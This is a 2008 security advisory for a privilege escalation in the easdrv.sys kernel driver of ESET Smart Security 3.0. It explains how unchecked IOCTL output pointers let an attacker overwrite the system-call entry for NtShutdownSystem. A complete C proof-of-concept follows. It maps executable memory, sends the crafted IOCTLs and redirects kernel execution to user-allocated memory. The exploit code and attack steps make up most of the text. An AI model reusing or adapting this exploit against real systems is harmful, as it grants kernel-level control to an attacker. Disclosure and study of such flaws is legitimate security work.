-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

- - Orange Bat advisory -

Name           : ESET Smart Security 3.0.667.0
Class          : Privilage escalation
Published     : 2008-08-14
Credit    : g_ (g_ # orange-bat # com)

- - Details -

File: easdrv.sys

.text:00012B92 loc_12B92:                             
.text:00012B92                 push    [ebp+InputBuf]
.text:00012B95                 call    ds:off_1A200[eax]
.text:00012B9B                 mov     ecx, [ebp+OutputBuffer]
.text:00012B9E                 mov     [ecx], eax

Although this piece of code is wrapped with exception handler, 
input and output pointers are not checked with ProbeForRead/Write.
This will cause BSOD when input/output will point to kernel mode
memory (above 0x80000000). 

This code can be reached by sending IoControlCode = 0x222003 to 
device \\.\\easdrv (see POC). In order to exploit this, we need
to take a look at 

.text:00012B95                 call    ds:off_1A200[eax]

off_1A200 is:

.rdata:0001A200 off_1A200       dd offset HookNtClose
.rdata:0001A204                 dd offset sub_12838
.rdata:0001A208                 dd offset sub_12874
.rdata:0001A20C                 dd offset sub_128A8
.rdata:0001A210                 dd offset sub_128E4
.rdata:0001A214                 dd offset sub_1290A
.rdata:0001A218                 dd offset sub_1292C
  .
  .
  .

These are wrappers for hooked syscalls. First one is NtClose, so
there aren't many possible values that this API returns in eax. 
We will use:

C0000008  STATUS_INVALID_HANDLE  An invalid HANDLE was specified.

Because it's the simplest status to get. 

Attack scenario:

1. Get address of some rarely used syscall, like NtShutdownSystem.
   I will refer to this address as X :p
2. Send signal to easdrv, with output buffer = X-1. This will result
   in overwriting two highest bytes with zeros and will damage 1 byte
   at X-1 :p.
3. Send signal with output buffer = X+2. This will set two lower bytes
   to 0x0800.
4. Allocate memory at 0x80000 and copy shellcode there
5. Call NtShutdownSystem to jump to shellcode in r0 mode.

See POC for details. There is no cleanup, you will get BSOD at address 
0x80000 :).

It's possible to get required addresses by downloading symbols for 
given kernel build or use technique presented in [1]. In POC code this
address is hardcoded.

- - Proof of concept -

http://www.orange-bat.com/adv/2008/poc.08.14.eset.rar

Compile with mingw:

gcc -o poc.exe poc.c -lntdll


- - References -

[1] - Exploiting Windows Device Drivers, Piotr Bania
      http://www.piotrbania.com/all/articles/ewdd.pdf

- - PGP -

All advisories from Orange Bat are signed. You can find our public
key here: http://www.orange-bat.com/g_.asc

- - Disclaimer -

This document and all the information it contains is provided "as is",
without any warranty. Orange Bat is not responsible for the
misuse of the information provided in this advisory. The advisory is
provided for educational purposes only.

Permission is hereby granted to redistribute this advisory, providing
that no changes are made and that the copyright notices and
disclaimers remain intact.


(c) 2008 www.orange-bat.com 


-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (MingW32)

iEYEARECAAYFAkimwoMACgkQIUHRVUfOLgXj5ACeNkg3GNU//dJRBZFvo/PpRr1C
EZYAoJXU4zaonv7a4pOQi7qoINDaE7vV
=7B2G
-----END PGP SIGNATURE-----

//
// ESET SmartSecurity priv. escalation
//
// visit www.orange-bat.com for full advisory
//
// g_
// g_ # orange-bat # com

#include <windows.h>
#include <stdio.h>
#include <ddk/ntifs.h>


void TextError(LPTSTR lpszFunction)
{
    // Retrieve the system error message for the last-error code

    LPVOID lpMsgBuf;
    LPVOID lpDisplayBuf;
    DWORD dw = GetLastError();

    FormatMessage(
        FORMAT_MESSAGE_ALLOCATE_BUFFER |
        FORMAT_MESSAGE_FROM_SYSTEM |
        FORMAT_MESSAGE_IGNORE_INSERTS,
        NULL,
        dw,
        MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
        (LPTSTR) &lpMsgBuf,
        0, NULL );

    // Display the error message and exit the process

    lpDisplayBuf = (LPVOID)LocalAlloc(LMEM_ZEROINIT,
        (lstrlen((LPCTSTR)lpMsgBuf)+lstrlen((LPCTSTR)lpszFunction)+40)*sizeof(TCHAR));
    sprintf((LPTSTR)lpDisplayBuf,
        TEXT("%s failed with error %d: %s"),
        lpszFunction, dw, lpMsgBuf);
    //MessageBox(NULL, (LPCTSTR)lpDisplayBuf, TEXT("Error"), MB_OK);

    printf(lpDisplayBuf);

    LocalFree(lpMsgBuf);
    LocalFree(lpDisplayBuf);
}


BOOL TestIOCTL(PCHAR DeviceName, DWORD Ioctl, DWORD InputBuffer, DWORD InputLen, DWORD OutputBuffer, DWORD OutputLen )
{
  HANDLE hDevice;               // handle to the drive to be examined
  BOOL bResult;                 // results flag
  DWORD junk;                   // discard results
  IO_STATUS_BLOCK  IoStatusBlock;

  hDevice = CreateFile(DeviceName,
                    0,                // no access to the drive
                    FILE_SHARE_READ | // share mode
                    FILE_SHARE_WRITE,
                    NULL,             // default security attributes
                    OPEN_EXISTING,    // disposition
                    0,                // file attributes
                    NULL);            // do not copy file attributes

  if (hDevice == INVALID_HANDLE_VALUE) // cannot open the drive
  {
  TextError("CreateFile");
    return (FALSE);
  }


  bResult = DeviceIoControl(hDevice,  // device to be queried
                  Ioctl,
                            (PVOID)InputBuffer,
                            InputLen,
                            (PVOID)OutputBuffer,
                            OutputLen,     // output buffer
                            &junk,                 // # bytes returned
                            (LPOVERLAPPED)NULL);  // synchronous I/O


  if(!bResult){
    TextError("DeviceIoControl");
  }

  CloseHandle(hDevice);

  return TRUE;
}

int AllocMem(DWORD lpBase){

  PVOID lpvResult;

    lpvResult = VirtualAlloc(
                     (LPVOID) lpBase, // Next page to commit
                     0x1337,         // Page size, in bytes
                     MEM_COMMIT,         // Allocate a committed page
                     PAGE_EXECUTE_READWRITE);    // Read/write access
    if (lpvResult == NULL ){
      TextError("VirtualAlloc");
      return 0;
    }
    else {
    printf("VirtualAlloc success\n");
    }

  return 1;
}

int main(int argc, char *argv[])
{
  DWORD Ioctl, Input, ILen, Output, OLen;
  DWORD SSDT;

  if(!AllocMem(0x80000)){
    return 1;
  }

  Input = 12345678;
  SSDT = 0x80501414; //80501414  8060786e nt!NtShutdownSystem

  Output = 0;
  if(TestIOCTL("\\\\.\\easdrv", 0x222003, &Input, 4, SSDT-1, 4)){
    TestIOCTL("\\\\.\\easdrv", 0x222003, &Input, 4, SSDT+2, 4);

    printf("NtShutdownSystem now points to 0x80000 :)");
    printf("Jump to hyperspace in 2 seconds..");
    Sleep(2*1000);
    NtShutdownSystem(0);
  }
  else{
    printf("Failed to open device");
  }

    return 0;
}